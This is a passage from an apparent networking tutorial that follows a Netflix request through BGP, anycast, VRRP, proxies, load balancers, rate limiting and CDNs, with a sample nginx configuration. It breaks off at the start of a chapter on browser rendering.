You stay connected to 52.38.36.82 — you never know which real server answered

Two Uses of VIP

1. External VIP — the public IP users connect to:

52.38.36.82  (advertised via BGP to the internet)
  → D-NAT → real servers inside (10.0.4.x range)

2. Internal VIP / Cluster VIP — inside the datacenter, for VRRP failover:

10.0.0.1  (internal VIP — held by VRRP master gateway)
  → If master fails, backup assumes 10.0.0.1
  → Internal servers still route through 10.0.0.1

BGP — Border Gateway Protocol

What BGP Is

BGP is the routing protocol of the internet — the system by which routers across the world exchange information about which IP address ranges they own and how to reach them.

Every company on the internet that owns IP addresses and runs its own routers has an Autonomous System Number (ASN):

Netflix:  AS2906
Google:   AS15169
Comcast:  AS7922
AT&T:     AS7018
Amazon:   AS16509

BGP lets these Autonomous Systems tell each other: "I own these IP prefixes. To reach them, send traffic to me."

BGP Route Announcement

Netflix (AS2906) announces to its BGP peers:
  "Prefix: 52.38.0.0/19 is reachable via AS2906"
  "Prefix: 198.38.96.0/19 is reachable via AS2906"

Your ISP (AS7922 — Comcast) receives this announcement.
Comcast's router adds to its BGP routing table:
  52.38.0.0/19  → next hop: AS2906 (Netflix)

When you request 52.38.36.82:
  Comcast router looks up 52.38.0.0/19 → forwards to Netflix

BGP Path Selection

Multiple paths to Netflix may exist. BGP selects the "best path" using a series of attributes (in order of preference):

1. Highest LOCAL_PREF     (prefer traffic leaving through preferred interface)
2. Shortest AS_PATH       (fewest hops through autonomous systems)
3. Lowest MED             (Multi-Exit Discriminator — server's preference)
4. eBGP over iBGP         (prefer external peers over internal)
5. Lowest IGP cost        (prefer closest next-hop internally)
6. Lowest Router ID       (tiebreaker)

Large networks use these attributes to engineer traffic — shifting load between ISP peers based on cost, capacity, policy, and performance.

BGP Convergence Time

When a BGP route is withdrawn (e.g., Netflix takes a POP offline), it takes 30–120 seconds for all routers worldwide to converge to the new routes. This is the fundamental speed limit of internet-level failover.

BGP Security — RPKI

BGP was designed without authentication. An AS can announce prefixes it doesn't own — this is called a BGP hijack. In 2010, Pakistan Telecom accidentally hijacked YouTube's IP space, taking YouTube offline globally.

RPKI (Resource Public Key Infrastructure): Allows IP address holders to publish cryptographically signed certificates (ROAs — Route Origin Authorizations) stating which ASes are authorized to announce their prefixes. Routers that validate RPKI will reject unauthorized announcements.

Anycast — One IP, Many Locations

What Anycast Is

Anycast is the practice of announcing the exact same IP prefix from multiple geographic locations simultaneously via BGP. BGP then routes each user to the nearest location.

Anycast is not a separate protocol. It is a strategy built entirely on top of BGP.

Normal Unicast (one IP → one location):
  52.38.36.82 exists only in Netflix US-East
  User in Tokyo → route to US-East → high latency → slow ✗

Anycast (one IP → many locations):
  52.38.36.82 announced via BGP from:
    POP in Tokyo      → peers with NTT Japan (2 AS hops from Tokyo users)
    POP in Frankfurt  → peers with DE-CIX (2 AS hops from Germany users)
    POP in Ashburn    → peers with Equinix (1 AS hop from East Coast users)
    POP in São Paulo  → peers with PTT-SP  (2 AS hops from Brazil users)

  User in Tokyo:
    BGP routing table: 52.38.36.82 → Tokyo POP (2 hops) ← BEST
                                   → Frankfurt (18 hops)
                                   → Ashburn   (14 hops)
    → Traffic goes to Tokyo POP ✓

  User in Frankfurt:
    BGP routing table: 52.38.36.82 → Frankfurt (2 hops) ← BEST
                                   → Ashburn   (8 hops)
                                   → Tokyo     (22 hops)
    → Traffic goes to Frankfurt POP ✓

  Same IP, different physical servers, BGP decides who answers.

Anycast Failover

Tokyo POP goes down (hardware failure, DDoS, maintenance):

  1. Netflix stops announcing 52.38.36.82 from Tokyo via BGP
     (BGP WITHDRAW message sent to all peers)

  2. Peer routers remove the Tokyo route from their tables

  3. BGP reconverges (~30–60 seconds globally)

  4. Tokyo users' BGP routing tables now show:
     52.38.36.82 → Osaka POP (next nearest, 4 hops)

  5. New connections go to Osaka POP ✓
     Existing connections (TCP) break — clients reconnect

  No DNS change needed. No client configuration change.
  Automatic, protocol-level failover.

BGP vs Anycast — The Relationship

BGP        = the mechanism (routing protocol that carries prefix announcements)
Anycast    = the strategy  (announce same prefix from many places)

BGP alone  → one prefix, one location (normal internet routing)
Anycast    → impossible without BGP (nothing to advertise the routes)
Anycast+BGP → same prefix from many locations, BGP routes to nearest

DNS Anycast vs HTTP Anycast

• DNS Anycast: 8.8.8.8 (Google DNS) is anycast — your query goes to the nearest Google DNS POP. Safe because DNS queries are stateless (UDP).

• HTTP Anycast: Trickier because TCP is stateful. If BGP reroutes mid-connection (e.g., POP fails), the TCP connection breaks. But new connections automatically go to the new nearest POP.

VRRP — Virtual Router Redundancy Protocol

The Problem VRRP Solves

Inside a datacenter, servers use a default gateway (usually the Top-of-Rack switch or a router) to send traffic out. If that gateway fails, all servers behind it lose connectivity — even if the internet is fine.

VRRP solves this with router redundancy: multiple physical routers share a single virtual IP address. If the master fails, a backup immediately takes over the VIP.

How VRRP Works

                    VIP: 10.0.0.1 (the default gateway all servers use)
                              │
              ┌───────────────┼───────────────┐
              │               │               │
        [Router A]      [Router B]      [Router C]
        MASTER ✓         BACKUP          BACKUP
        priority=150     priority=100    priority=50
        Owns VIP         Monitors A      Monitors A
              │
         [All servers use 10.0.0.1 as their default gateway]

VRRP heartbeats: The master sends VRRP advertisement multicast packets (224.0.0.18) every 1 second to the backup routers.

Failover sequence:

Router A (master) crashes:

  1. Router B and C stop receiving VRRP advertisements (wait 3 × interval = 3s)

  2. VRRP election: highest priority router becomes new master
     Router B wins (priority=100 > Router C priority=50)

  3. Router B sends GRATUITOUS ARP:
     "I am 10.0.0.1. My MAC is BB:BB:BB:BB:BB:BB"
     (Updates ARP caches on all local devices — they now send to Router B)

  4. Router B starts sending VRRP advertisements

  5. All servers behind 10.0.0.1 continue sending traffic — to Router B now ✓
     Failover complete in ~3 seconds (configurable)

VRRP vs VIP vs Anycast — Three Nested Layers

Level 1: GLOBAL (Anycast + BGP)
  Same prefix announced from multiple continents.
  BGP routes users to the right continent/POP.
  Failover: 30–60 seconds (BGP convergence)

Level 2: DATACENTER (VRRP)
  Multiple physical routers share a VIP inside one POP.
  VRRP routes traffic to the healthy router.
  Failover: 1–3 seconds (VRRP convergence)

Level 3: SERVER CLUSTER (Load Balancer / D-NAT)
  Multiple backend servers share a VIP via D-NAT.
  Load balancer routes requests to healthy servers.
  Failover: milliseconds (health check based)

These three layers work together. In a well-designed deployment, they route users toward an appropriate region, edge/router, and backend — with redundancy at each level.

Putting It All Together — Your Netflix Request

You request 52.38.36.82 (Netflix VIP):

1. Your router: S-NAT
   192.168.1.105:54321 → 203.0.113.45:54321

2. Your ISP's router: BGP routing table
   52.38.36.82 matches 52.38.0.0/19 → forward to Netflix AS2906

3. Netflix border router: BGP (Anycast)
   Multiple POPs announced this prefix.
   Nearest POP (e.g., Los Angeles) wins.
   Packet enters Netflix's LA POP.

4. VRRP at LA POP:
   VIP 52.38.36.82 is held by ToR Switch A (VRRP Master).
   Packet forwarded correctly.

5. Netflix L4 Load Balancer: D-NAT
   52.38.36.82:443 → 10.0.4.55:443 (real backend server)

6. Backend processes request, returns response.

7. Response travels back:
   D-NAT reversed: 10.0.4.55 → 52.38.36.82
   BGP routes back to your ISP
   S-NAT reversed at your router: 203.0.113.45 → 192.168.1.105
   Browser receives response.

Chapter 8 — Proxies: The Middlemen

A proxy is any system that sits between a client and a server, forwarding requests on behalf of one to the other. The key question is: who does the proxy work for?

Forward Proxy

A forward proxy sits in front of clients. It makes requests to the internet on the client's behalf.

[Your Browser]
      │
      │  Configured to use proxy: proxy.company.com:3128
      ▼
[Forward Proxy Server]  ← client knows about this and uses it intentionally
      │
      │  Makes request as if it is the client
      ▼
[Internet] → [Netflix]

Netflix sees the request coming FROM the proxy's IP — not your IP.

Who Uses Forward Proxies

Corporate networks:

All employees → Corporate forward proxy → Internet
Proxy enforces:
  • Block social media (facebook.com → 403)
  • Log all URLs visited
  • Cache popular websites (save bandwidth)
  • Decrypt HTTPS (SSL inspection — controversial)
  • Enforce content policies

Privacy / VPN:

You → VPN server (acts as forward proxy) → Netflix
Netflix sees VPN server's IP, not your real IP.
Your ISP sees encrypted traffic to VPN, not which sites you visit.

Scraping / Automation:

Scraper → Pool of forward proxies → Target website
Rotates IPs so the target doesn't rate-limit one source.

How the Browser Uses a Forward Proxy

There are two ways:

1. HTTP CONNECT method (tunneling — for HTTPS):

Browser → Proxy: CONNECT www.netflix.com:443 HTTP/1.1
Proxy → Netflix: Opens TCP connection to netflix.com:443
Proxy → Browser: 200 Connection Established

Now the proxy passes bytes blindly in both directions.
The proxy cannot see inside the encrypted TLS tunnel.
Browser and Netflix speak TLS directly through the tunnel.

2. HTTP proxy (for plain HTTP only — legacy):

Browser → Proxy: GET http://example.com/ HTTP/1.1
                 Host: example.com
                 Proxy-Authorization: Basic ...
Proxy → example.com: GET / HTTP/1.1 (forwards the request)
example.com → Proxy: 200 OK [content]
Proxy → Browser: 200 OK [content]

SSL Inspection (HTTPS Interception)

Some corporate proxies perform a "man-in-the-middle" on HTTPS:

Browser → Proxy: CONNECT netflix.com:443
Proxy → Browser: 200 Established (but proxy doesn't connect to Netflix yet)
Browser → Proxy: TLS ClientHello
Proxy → Browser: TLS ServerHello + [fake netflix.com cert signed by corp CA]
                 (The corp CA cert is pre-installed in all company browsers)
Browser → Proxy: TLS established (trusted, because corp CA is trusted)

Proxy → Netflix: Opens real TLS connection to netflix.com
Netflix → Proxy: Real TLS session

Proxy sees decrypted content, can log/filter, then re-encrypts to Netflix.

This is legitimate inside corporations where employees consent, but it is a MITM attack when done without consent.

Reverse Proxy

A reverse proxy sits in front of servers. Clients talk to the reverse proxy thinking it is the server.

[Your Browser]
      │
      │  Requests netflix.com (has no idea a proxy is involved)
      ▼
[Reverse Proxy — Nginx / Envoy / Cloudflare]
      │
      │  Forwards to appropriate backend (client never knows)
      ▼
[Backend Server 1]  or  [Backend Server 2]  or  [Backend Server 3]

You see responses from "nginx" — you never know 10.0.4.55 exists.

What Reverse Proxies Do

TLS Termination:

Client ──[HTTPS]──► Reverse Proxy ──[HTTP]──► Backend
The reverse proxy holds the TLS certificate and private key.
Backend servers don't need to handle TLS — simpler, lighter.

Caching:

First request for /static/logo.png:
  Proxy → Backend → gets logo → caches it → returns to client

Second request for /static/logo.png:
  Proxy → cache HIT → returns directly → backend not involved
  Latency: 1ms (from cache) instead of 20ms (from backend)

Load Balancing:

Round-robin distribution:
  Request 1 → Backend A
  Request 2 → Backend B
  Request 3 → Backend C
  Request 4 → Backend A
  ...

Reverse proxy health-checks backends.
Removes unhealthy backends from rotation automatically.

Rate Limiting:

limit_req_zone $binary_remote_addr zone=api:10m rate=100r/s;

location /api/ {
    limit_req zone=api burst=20 nodelay;
    proxy_pass http://backend;
}

→ Max 100 requests/second per IP.
  First 20 over that limit: allowed (burst).
  After burst: 429 Too Many Requests.

Request/Response Modification:

Add headers before forwarding to backend:
  X-Real-IP: 203.0.113.45        (client's real IP — otherwise backend sees proxy IP)
  X-Forwarded-For: 203.0.113.45  (standard header for proxied IPs)
  X-Forwarded-Proto: https       (original protocol — backend receives HTTP from proxy)

Remove sensitive headers from response:
  Server: nginx                   (don't expose Apache/version info)
  X-Powered-By: [removed]        (don't expose PHP/Express/etc)

Compression:

Backend returns uncompressed HTML (100KB).
Reverse proxy compresses to Brotli (30KB).
Client receives 70% smaller response.
Backend doesn't need to implement compression.

A/B Testing / Canary Deployments:

10% of requests → Backend v2 (new version — canary)
90% of requests → Backend v1 (stable)
Reverse proxy decides based on cookie, IP hash, or random.

Nginx as a Reverse Proxy — Config Example

upstream netflix_backends {
    least_conn;                         # Load balancing algorithm
    server 10.0.4.51:8080 weight=5;    # Backend 1 (5x weight)
    server 10.0.4.52:8080 weight=5;    # Backend 2 (5x weight)
    server 10.0.4.53:8080 weight=1;    # Backend 3 (canary, 1x weight)
    keepalive 32;                       # Keep 32 connections warm
}

server {
    listen 443 ssl http2;
    server_name www.netflix.com;

    # TLS termination
    ssl_certificate     /etc/ssl/netflix.crt;
    ssl_certificate_key /etc/ssl/netflix.key;
    ssl_protocols       TLSv1.3;
    ssl_ciphers         TLS_AES_256_GCM_SHA384:TLS_CHACHA20_POLY1305_SHA256;

    # Security headers
    add_header Strict-Transport-Security "max-age=31536000" always;
    add_header X-Frame-Options "DENY" always;

    # Rate limiting
    limit_req zone=per_ip burst=50 nodelay;

    location / {
        proxy_pass http://netflix_backends;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;

        # Timeouts
        proxy_connect_timeout 5s;
        proxy_read_timeout    30s;

        # Caching for static assets
        location ~* \.(js|css|png|jpg|woff2)$ {
            proxy_cache static_cache;
            proxy_cache_valid 200 1d;
            add_header X-Cache-Status $upstream_cache_status;
        }
    }
}

Transparent Proxy

A transparent proxy intercepts traffic without the client knowing or being configured to use it. The client's browser is not configured with any proxy settings — yet all traffic goes through the proxy.

[Your Browser] → [Your Router] → [Transparent Proxy] → [Internet]
                       ↑
              Network-level interception
              All TCP port 80/443 traffic redirected to proxy
              Browser is unaware

Used by:
  • ISPs (caching, content filtering)
  • Coffee shop Wi-Fi (inject ads)
  • Government censorship firewalls
  • Corporate networks (no browser config required)

For HTTP: transparent proxy can read and modify traffic. For HTTPS: transparent proxy can only see IP + SNI (hostname). Cannot decrypt without SSL interception.

Service Mesh — Proxies Inside the Datacenter

In a microservices architecture, every service calls many other services. How do you handle:

• mTLS between services?
• Retries, timeouts, circuit breaking?
• Traffic routing for canary deployments?
• Distributed tracing?

A service mesh uses a sidecar proxy — a proxy deployed alongside every service instance.

Service A                Service B
┌────────────────┐      ┌────────────────┐
│ App (Port 8080)│      │ App (Port 8080)│
│                │      │                │
│ Envoy Proxy    │      │ Envoy Proxy    │
│ (sidecar)      │      │ (sidecar)      │
└───────┬────────┘      └────────┬───────┘
        │                        │
        └──── mTLS ─────────────►│
        All traffic between services goes through sidecars.
        The app doesn't know about mTLS, retries, or tracing — Envoy handles it.

Envoy is a common sidecar/data-plane proxy in service-mesh architectures. Istio and Linkerd are popular service mesh frameworks.

Proxy Headers — Knowing the Real Client IP

When a reverse proxy forwards your request to the backend, the backend sees the proxy's IP as the source, not your real IP. These headers convey the original client's IP:

X-Forwarded-For: 203.0.113.45, 10.0.0.1
                 ↑              ↑
          original client   intermediate proxy

X-Real-IP: 203.0.113.45
           ↑ The first (original) client IP

Forwarded: for=203.0.113.45;proto=https;by=10.0.0.1
           ↑ RFC 7239 standard (newer, single header)

Security caveat: X-Forwarded-For can be spoofed by clients. If a client sends X-Forwarded-For: 1.2.3.4, the backend sees 1.2.3.4, [proxy IP]. For rate limiting and security decisions, only trust the rightmost IP (added by your own proxy) — not client-supplied values.

Forward vs Reverse Proxy — Quick Comparison

Chapter 9 — Load Balancers & Rate Limiting

Netflix has thousands of servers. A load balancer decides which server handles your request — and makes sure no single server gets overwhelmed. Rate limiting makes sure no single user overwhelms Netflix.

Why Load Balancers Exist

One server can handle perhaps 1,000 concurrent connections. Netflix has 200+ million subscribers. Solution: many servers, each handling a slice of traffic.

Without load balancer:
  All users → netflix.com:443 → 1 server → overloaded → down ✗

With load balancer:
  All users → netflix.com:443 → Load Balancer
                                  ├──► Server 1  (handles 1,000 users)
                                  ├──► Server 2  (handles 1,000 users)
                                  ├──► Server 3  (handles 1,000 users)
                                  └──► Server N  (handles 1,000 users)
  N servers → N × 1,000 concurrent users ✓

L4 Load Balancer — Transport Layer

An L4 load balancer operates at the transport layer (TCP/UDP). In a pass-through design, it sees IP addresses and ports but does not decrypt TLS or read HTTP headers.

Client → L4 LB:443 → Backend:443 (TCP stream forwarded as-is)
             ↑
  L4 LB reads: SrcIP, DstIP, SrcPort, DstPort
  L4 LB does NOT read: HTTP method, URL, headers, cookies

How L4 Load Balancing Works

Method 1: NAT (D-NAT) The load balancer rewrites the destination IP:

Packet: Dst=52.38.36.82:443  →  LB rewrites  →  Dst=10.0.4.55:443
Return: Src=10.0.4.55:443   →  LB rewrites  →  Src=52.38.36.82:443
LB is in the path of every packet.

Method 2: Direct Server Return (DSR) The load balancer only handles the inbound SYN, then steps aside:

Client → LB (initial SYN)
LB → Backend (forwards connection, sets up rules)
Backend → Client DIRECTLY (response bypasses LB)
LB is only in the path of inbound packets. Outbound bypasses it.
Much faster for high-bandwidth responses (video!).

L4 Load Balancing Algorithms

Round Robin:

Request 1 → Server A
Request 2 → Server B
Request 3 → Server C
Request 4 → Server A  (cycles)
Simple. Ignores server load.

Weighted Round Robin:

Server A weight=5 → gets 5 requests per cycle
Server B weight=3 → gets 3 requests per cycle
Server C weight=2 → gets 2 requests per cycle
Use when servers have different capacity.

Least Connections:

Server A: 100 active connections
Server B: 50 active connections  ← WINNER (fewest)
Server C: 75 active connections
New request → Server B
Best for requests with variable processing time.

IP Hash:

Hash the client's source IP → maps to a backend while the pool is unchanged
hash(203.0.113.45) % 3 = 1 → Server B
Same client tends to hit the same server until the backend set or hash policy changes.
Breaks if a server is added or removed (consistent hashing fixes this).

Consistent Hashing:

Servers are placed on a "virtual ring" (hash ring).
Each request's key (IP, user ID) is hashed to a point on the ring.
Request goes to the nearest server clockwise on the ring.

Adding/removing a server only remaps a fraction of requests
(vs IP hash which remaps all requests).
Used by Netflix's Cassandra, Redis, and CDN caches.

L4 LB Examples

• AWS NLB (Network Load Balancer)
• HAProxy (in TCP mode)
• Linux LVS (IP Virtual Server) — used by Netflix
• IPVS (IP Virtual Server — kernel-level, extremely fast)

L7 Load Balancer — Application Layer

An L7 load balancer operates at the application layer. It decrypts TLS, reads HTTP headers, URLs, cookies — and makes routing decisions based on content.

Client ──[HTTPS]──► L7 LB (TLS terminated here)
                       │  reads HTTP: method, path, headers, cookies
                       ├──► API servers  (if path starts with /api/)
                       ├──► Static servers  (if path ends with .js/.css)
                       ├──► Stream servers  (if path starts with /video/)
                       └──► Auth servers  (if path is /login)

What L7 LBs Can Do That L4 Cannot

L7 Content-Based Routing

Incoming request: GET /api/v1/users/me
  → Rule: path starts with /api/ → route to API cluster

Incoming request: GET /static/app.abc123.js
  → Rule: path ends with .js → route to CDN / static servers

Incoming request: GET /browse
  → Rule: path is /browse → route to UI rendering cluster

Incoming request: GET /video/stream/12345
  → Rule: path starts with /video/ → route to streaming cluster

Sticky Sessions (Session Affinity)

Some applications store session state on the server. Those systems may require the same user to keep reaching the same server, or they need the session state moved to shared storage.

Method 1: Cookie-based (L7 only)
  First request → Server A → LB sets cookie: SERVERID=A
  Next requests → LB reads cookie → routes to Server A

Method 2: IP-hash (L4 or L7)
  Same client IP → same server (best-effort)
  Breaks if server fails or client changes IP

Best practice: Use distributed session stores (Redis) instead.
  Every server can serve any user — no stickiness needed.

L7 LB Examples

• Nginx (web server + reverse proxy + L7 LB)
• Envoy Proxy
• AWS ALB (Application Load Balancer)
• HAProxy (in HTTP mode)
• Netflix Zuul (their own JVM-based L7 gateway)

Health Checks — Removing Dead Servers

The load balancer continuously checks if each backend is healthy. Unhealthy backends are removed from rotation until they recover.

Types of Health Checks

TCP Health Check (L4):

LB → Tries to open TCP connection to Backend:8080
Connection SUCCESS → healthy ✓
Connection REFUSED/TIMEOUT → unhealthy ✗
Doesn't verify the app is actually working — just that the port is open.

HTTP Health Check (L7):

LB → GET /health HTTP/1.1 Host: backend
Backend → 200 OK {"status": "healthy", "db": "ok", "cache": "ok"}
LB checks: response code == 200? body contains "healthy"? ✓

If backend returns 500 or times out → marked unhealthy → removed from pool

Deep Health Check:

GET /health/deep
Backend checks all dependencies:
  - Database connection: OK
  - Redis cache: OK
  - Downstream services: OK
Returns 200 only if everything is working.
Prevents routing to a server that is "up" but functionally broken.

Health Check Configuration

Healthy threshold:    2 consecutive successes → mark healthy
Unhealthy threshold:  3 consecutive failures  → mark unhealthy
Check interval:       5 seconds
Check timeout:        2 seconds

Timeline:
  t=0:   Backend healthy, serving traffic
  t=10:  Backend fails (disk full)
  t=15:  Health check 1: FAIL
  t=20:  Health check 2: FAIL
  t=25:  Health check 3: FAIL → marked UNHEALTHY → removed from LB pool
  t=30:  No more traffic sent to this backend ✓

  t=60:  Disk cleared, backend recovers
  t=65:  Health check 1: SUCCESS
  t=70:  Health check 2: SUCCESS → marked HEALTHY → added back to LB pool ✓

Rate Limiting

Rate limiting controls how many requests a client can make in a given time period. Prevents:

• Abuse (credential stuffing, scraping)
• Accidental DDoS from buggy clients
• One user consuming all resources (noisy neighbor)

Rate Limiting Algorithms

Token Bucket:

A bucket holds tokens. Each token = permission to make 1 request.
Bucket refills at a steady rate. Bucket has a max capacity (burst).

Capacity: 100 tokens
Refill rate: 10 tokens/second

At 10 req/s: steady state — bucket stays full, requests allowed
At 50 req/s: burning through 40 tokens/s, bucket empties in 2.5s → throttled
At 1 req/s:  tokens accumulate, can burst later

Allows SHORT BURSTS above the sustained rate.

Leaky Bucket:

Requests go IN to a bucket.
Bucket drains (processes) at a fixed rate.
If bucket FULL → reject new requests.

Rate: 100 req/s exactly.
Smooth, predictable output rate.
No bursting allowed.
Good for protecting backend capacity.

Sliding Window Counter:

Track requests in the last N seconds.
Count requests in [now - N, now].
If count >= limit → reject.

More accurate than fixed windows (which can allow 2x the limit at window boundaries).

Fixed Window Counter:

Count requests in the current window (e.g., this minute).
If count >= limit in this window → reject.
Reset at next window boundary.

Simple but can be gamed: 100 req at 12:00:59, 100 req at 12:01:00 = 200 req/s burst.

Rate Limiting Layers at Netflix

Layer 1: L3/L4 — Packet-level (iptables / eBPF)
  Rule: DROP if source IP sends > 100,000 packets/sec
  Purpose: DDoS mitigation — stop volumetric attacks before they hit the app
  Speed: Line rate (millions of packets/sec evaluated)

Layer 2: L7 — Request-level (Nginx / Envoy)
  Rule: 100 requests/second per IP on /api/login
  Rule: 1,000 requests/minute per authenticated user
  Purpose: Prevent credential stuffing, scraping, API abuse
  Response: HTTP 429 Too Many Requests
  Headers: Retry-After: 30  (try again in 30 seconds)

Layer 3: Application — Business logic
  Rule: Max 5 concurrent streams per account
  Rule: Max 3 failed login attempts → CAPTCHA
  Rule: Max 1 password reset email per hour
  Purpose: Enforce service limits, prevent account abuse

Distributed Rate Limiting

A single server can rate-limit locally. But if you have 100 servers and a client hits a different one each request, each server sees only 1% of the traffic — local rate limiting fails.

Solution: Shared state via Redis:

Each Nginx server:
  On request → INCR user:12345:requests in Redis (atomic)
  Check: if count > 1000 → return 429
  TTL on key: 60 seconds (sliding window)

All servers share the same counter → correct rate limiting regardless of which server handles the request.

Circuit Breaker — Failing Fast

A circuit breaker prevents cascading failures when a backend service is struggling.

CLOSED state (normal):
  Requests flow to backend.
  If error rate > 50% in last 10s → trip to OPEN.

OPEN state (backend is failing):
  Requests immediately return error (503) without hitting backend.
  Backend gets time to recover.
  After 30s → move to HALF-OPEN.

HALF-OPEN state (testing recovery):
  Let 1 request through.
  SUCCESS → return to CLOSED.
  FAILURE → return to OPEN (wait another 30s).

Why this helps:
  Without circuit breaker: All requests pile up waiting for slow backend.
  With circuit breaker: Fail fast → caller can retry elsewhere or return cached data.
  Backend isn't bombarded with traffic while it's struggling → recovers faster.

Chapter 10 — CDN: Content Near You

A CDN (Content Delivery Network) stores copies of content in many locations around the world so many users can fetch it from a nearby edge — fast.

Why CDNs Exist

Two problems CDNs solve:

Latency: Light travels through fiber at ~200,000 km/s. A packet from Mumbai to Los Angeles (14,000 km round trip) takes at minimum 70ms just at the speed of light — plus routing overhead (~150ms in practice). A packet from Mumbai to a Mumbai server: ~1ms.

Origin load: Netflix has 200M subscribers. If every video request hit Netflix's origin servers in Los Angeles, the bandwidth and compute cost would be astronomical. CDN edge servers handle 95%+ of Netflix video traffic — origin servers only handle the small percentage of cache misses.

Without CDN:
  User in Mumbai → Netflix servers in LA → 150ms latency
  All 200M users → Netflix LA → overloaded

With CDN:
  User in Mumbai → CDN server in Mumbai → 1ms latency
  CDN serves 95% of requests → origin barely touched

How a CDN Works

Cache Hit — The Fast Path

User in Tokyo requests: GET /static/app.abc123.js

1. Request arrives at CDN edge POP in Tokyo.
2. Edge server checks its cache: FOUND ✓ (cache HIT)
3. Edge server returns cached response immediately.
4. Origin server is never contacted.

Latency: ~5ms (Tokyo user to Tokyo edge)

Cache Miss — The Slow Path (happens once per resource per POP)

User in Tokyo requests: GET /video/12345/chunk001.mp4  (not yet cached)

1. Request arrives at CDN edge POP in Tokyo.
2. Edge checks cache: NOT FOUND (cache MISS)
3. Edge makes request to Netflix origin servers (LA):
   Edge (Tokyo) → Origin (LA) → 150ms round trip
4. Origin returns the video chunk.
5. Edge caches it locally (stored on Tokyo edge SSD).
6. Edge returns response to user.

All subsequent users in Tokyo requesting the same chunk:
   Cache HIT → served from Tokyo edge → 5ms ✓

Cache Key

The CDN identifies what to cache using a cache key — typically the URL:

https://cdn.netflix.com/video/12345/chunk001.mp4
Cache key: /video/12345/chunk001.mp4

Same URL from different users → same cache key → same cached response ✓
Different URLs → different cache entries

Vary header extends the cache key with request headers:

Response: Vary: Accept-Encoding
Cache key becomes: /static/app.js + Accept-Encoding: br
               or: /static/app.js + Accept-Encoding: gzip
(Two separate cached copies — one per encoding)

Cache-Control and TTL

The origin server controls how long CDN caches a resource via Cache-Control headers:

Cache-Control: public, max-age=31536000, immutable
               ↑        ↑                 ↑
       Anyone can cache  1 year TTL     Never revalidate
       (CDN, browser)

Use for: /static/app.abc123.js  (hash in filename = content-addressed)
         If content changes, the filename changes — old URL can stay cached
         until its long TTL expires.

Cache-Control: no-store
Use for: / (home page — personalized, never cache)
         /api/users/me  (user-specific data)

Cache-Control: public, s-maxage=3600, max-age=0
               ↑              ↑           ↑
       CDN can cache  CDN caches 1hr  Browser: don't cache
       s-maxage is for shared caches (CDN).
       max-age is for private caches (browser).

CDN Cache Invalidation

A cached file has a TTL. What if you need to invalidate it before TTL expires?

Scenario: You deployed a bug fix in app.js but cached version is served for 24hrs.

Solutions:

1. Content-addressed filenames (best):
   app.abc123.js → app.def456.js  (new hash = new URL = new cache entry)
   Old URL expires naturally. New URL has no cached version → cache miss → fresh.
   Zero invalidation needed.

2. CDN API purge:
   POST /cdn-api/purge  {"paths": ["/static/app.js"]}
   CDN removes from all POPs immediately.
   Useful for urgent security fixes.

3. Surrogate keys / cache tags:
   Response header: Cache-Tag: product-12345, category-electronics
   Purge all resources tagged "product-12345" with one API call.
   Cloudflare, Fastly, and Akamai support this.

4. Version query strings:
   /app.js?v=2  (different URL = different cache entry)
   Old: /app.js?v=1  (cached, expires naturally)
   New: /app.js?v=2  (fresh, cache miss initially)

Netflix Open Connect (OCA)

Netflix operates their own CDN called Open Connect with custom-built OCA (Open Connect Appliances) — physical servers installed directly inside ISP networks worldwide.

Why Netflix Built Their Own CDN

Netflix has historically represented a large share of downstream internet traffic in many reports. Third-party CDN costs at that scale would be enormous. Open Connect lets Netflix:

• Control the hardware (optimized for video streaming)
• Negotiate free peering with ISPs (mutual benefit — ISPs don't pay transit for Netflix traffic)
• Pre-position content proactively (fill servers during off-peak hours)

How Netflix OCA Works

Netflix OCA Architecture:
                    Netflix HQ (LA/Oregon)
                    Origin + Management Plane
                           │
                    BGP + Control Plane
                    ┌──────┼──────┐
                    │      │      │
              ┌─────┘  ┌───┘  ┌──┘
              │        │      │
         ┌────▼──┐ ┌───▼──┐ ┌▼──────┐
         │ Comcast│ │ AT&T │ │ Tata  │
         │ IXP   │ │ IXP  │ │ Mumbai│
         │ OCA   │ │ OCA  │ │ OCA   │
         └───────┘ └──────┘ └───────┘
              ↑         ↑         ↑
         Physically     Physically  Physically
         installed in   installed   installed in
         Comcast's DC   in AT&T's   Tata's DC
                        network     (Mumbai)

User in Mumbai → Tata network → OCA at Tata Mumbai → video served locally
Never leaves Tata's network. No transit cost. Ultra-low latency.

OCA Content Fill Strategy

OCA servers are filled proactively during off-peak hours (3–6 AM local time) using Netflix's proprietary proactive caching:

Netflix's data team predicts: "Squid Game Season 3 will be top 10 in India tomorrow"
Night before release:
  Netflix fills all India OCAs with Squid Game S3 (all quality levels)

Day of release:
  User in India: GET /video/squid-game-s3-ep1/4k/chunk001
  OCA in India: HIT → serves from local storage
  0 bytes travel from US to India ✓

Push vs Pull CDN

Pull CDN (most common)

CDN pulls content from origin on first request (cache miss). Content is fetched on-demand.

First request: CDN → Origin (slow)
Subsequent requests: CDN cache → User (fast)

Good for: unknown access patterns, large catalogs, long-tail content.

Push CDN

Content is proactively pushed to CDN by the origin — before any user requests it.

You upload a new movie to Netflix:
  Netflix push → all CDN/OCA POPs worldwide receive the file
  First user request: already cached → fast ✓

Good for: predictable popular content, time-sensitive launches. Netflix has described proactive content placement for popular titles as a core part of Open Connect's design.

CDN and TLS

CDN providers hold your TLS certificate and serve your users. Two models:

1. Shared certificate (multi-tenant CDN):

CDN presents a cert for *.cdn-provider.com
Your content served from cdn1234.cloudfront.net
Users see Cloudfront's cert, not your cert.

2. Custom domain + cert:

CDN serves: https://cdn.netflix.com
CDN holds netflix.com wildcard certificate ✓
Users see netflix.com cert — seamless.
Netflix uploads their cert to CDN (or CDN uses Let's Encrypt / ACM automatically).

3. Keyless SSL:

CDN doesn't hold your private key.
During TLS handshake, CDN sends key operations to your origin key server.
Your private key operation stays under your control instead of being uploaded
to the CDN.
Cloudflare offers this ("Keyless SSL").

CDN for APIs vs Static Assets vs Video

Chapter 11 — Browser Rendering: From Bytes to Pixels

The browser received the HTML from Netflix. Now it has to turn those bytes into the page you see on screen. This is one of the most complex pipelines in software engineering.

The Critical Rendering Path

HTML bytes arrive (compressed, encrypted)
        │
        ▼ 1. Decode
Decompressed UTF-8 HTML text
        │
        ▼ 2. Parse HTML
DOM Tree (Document Object Model)
        │
        ├──────────────────────────────────────────┐
        │ (parallel: discover CSS links, JS files) │
        ▼ 3. Parse CSS                             │
